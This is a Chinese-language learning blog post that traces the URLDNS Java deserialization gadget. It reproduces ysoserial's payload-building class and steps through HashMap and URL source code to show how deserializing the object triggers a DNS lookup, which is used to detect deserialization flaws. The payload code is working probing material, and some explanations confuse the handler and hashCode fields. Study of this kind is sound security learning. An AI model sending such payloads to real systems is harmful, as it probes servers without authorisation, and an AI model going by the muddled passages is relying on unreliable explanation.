Java反序列化学习之URLDNS

前言

最近几次比赛都遇见了Java反序列化，并且听学长说Java安全是面试必不可少的部分，所以这两天跟着P🐂的文章Java安全漫谈系列学习了一下，在博客上记录一下自己的学习经历

为什么学习URLDNS

提到Java反序列化，脑海里想到的第一个字就是难，而urldns是Java反序列化中最简单的gadget之一,对于我这样的新手而言，无疑是入门的最佳选择

URLDNS

URLDNS这条gadget并不能用来执行命令，他只能用来判断是否有反序列化漏洞，并且他调用的函数比较少，所以相较而言他比较好跟踪一点，并且它不需要其他的依赖库，Java的原生库就能够完成这条gadget

分析

正如上面所说，分析URLDNS的gadget并不需要其他的依赖包，所以我们可以直接创建一个Java项目来进行分析，同时，为了方便我们分析，我们还可以从Github上下载ysoserial关于URLDNS的源码，里面的注释可以帮助我们更好的理解

代码如下

package org.vulhub.RMI;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

    public Object getObject(final String url) throws Exception {

        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

        return ht;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    /**
     * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
     * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
     * using the serialized object.</p>
     *
     * <b>Potential false negative:</b>
     * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
     * second resolution.</p>
     */
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

看着URLDNS类的getobject方法，ysoserial会调⽤这个⽅法获得Payload。这个方法返回的是一个对象，这个对象就是最后被序列化的对象，也就是这里的HashMap。

我们都知道，反序列化是通过readobject方法来实现的，那么我们这里就可以直接去看HashMap类的readobject方法

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

最关键的是最下面的那个循环语句，对key和value都进行了反序列化，让后调用putval函数，其中key值传入了hash这个函数，为什么我们要关注hash函数呢，这里引用p🐂的话

我们跟进hash函数再来看看

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

因为key是URL类的对象

URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

从这里就可以看出来

然后我们再跟进URL类的hashcode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

这里会执行handler对象的hashCode方法，此时的handler是URLStreamHandler对象，跟进其hashCode方法

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

这里用到了getHostAddress方法，跟进看一下

synchronized InetAddress getHostAddress() {
    if (hostAddress != null) {
        return hostAddress;
    }

    if (host == null || host.isEmpty()) {
        return null;
    }
    try {
        hostAddress = InetAddress.getByName(host);
    } catch (UnknownHostException | SecurityException ex) {
        return null;
    }
    return hostAddress;
}

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名，获取其IP地址，在⽹络上其实就是⼀次 DNS查询。到这⾥就不必要再跟了。

那么至此，整个URLDNS的gadget就很清晰了

1.HashMap->readobject()

2.HashMap->hash()

3.URL->hashCode()

4.URLStreamHandler->hashcode()

5.URLStreamHandler->getHostAddress()

6.URLStreamHandler->getByName()

那么这就是这条gadget所调用的函数了，其实这条链子还有一些细节之处

细节一

我们看一下这条gadget生成URL对象的地方

//Avoid DNS resolution during payload creation
      //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
      URLStreamHandler handler = new SilentURLStreamHandler();

      HashMap ht = new HashMap(); // HashMap that will contain the URL
      URL u = new URL(null, url, handler); // URL to use as the Key
      ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

我们看注释这里就说了目的，避免在创造payload的时候就进行DNS解析，为什么在创造payload的时候会进行DNS解析呢？

public class Demo1 {
    public static void main(String[] args){
        try {
            URL url = new URL("http://xxxx.xxx"); //Ur DNSLOG paltform
            url.hashCode();//debug here
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

我们平常就直接new了一个URL对象，那么这样handler就会直接被赋值为-1，那么就会发出DNS请求，所以yso就自己定义了一个类，使得handler的值为空，这样就不会发出DNS请求了。

细节二

那么将handler的值设为null了后，那么我们后面不就也不能发出DNS请求了吗。那么我们这里就需要修改handler的值，因为这里handler的属性为private，我们需要将他改为public，那么这就需要用到反射所讲的getDeclareField方法**(这个方法可获取所有变量，即使是private)**获取到该变量，然后用setAccessible函数让开private变量访问权限，让其值可被修改，这里使用的是set反射修改。

Reflections.setFieldValue(u, "hashCode", -1);

跟进setFieldValue方法康康

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = getField(obj.getClass(), fieldName);
    field.set(obj, value);
}

我们再跟进一下getField方法

public static Field getField(Class<?> clazz, String fieldName) {
    Field field = null;

    try {
        field = clazz.getDeclaredField(fieldName);
        setAccessible(field);
    } catch (NoSuchFieldException var4) {
        if (clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
    }

    return field;
}

可以看到这里调用了getDeclaredField方法，这样我们就可以修改handler的值了

##参考链接
大佬
p🐂的《Java安全漫谈》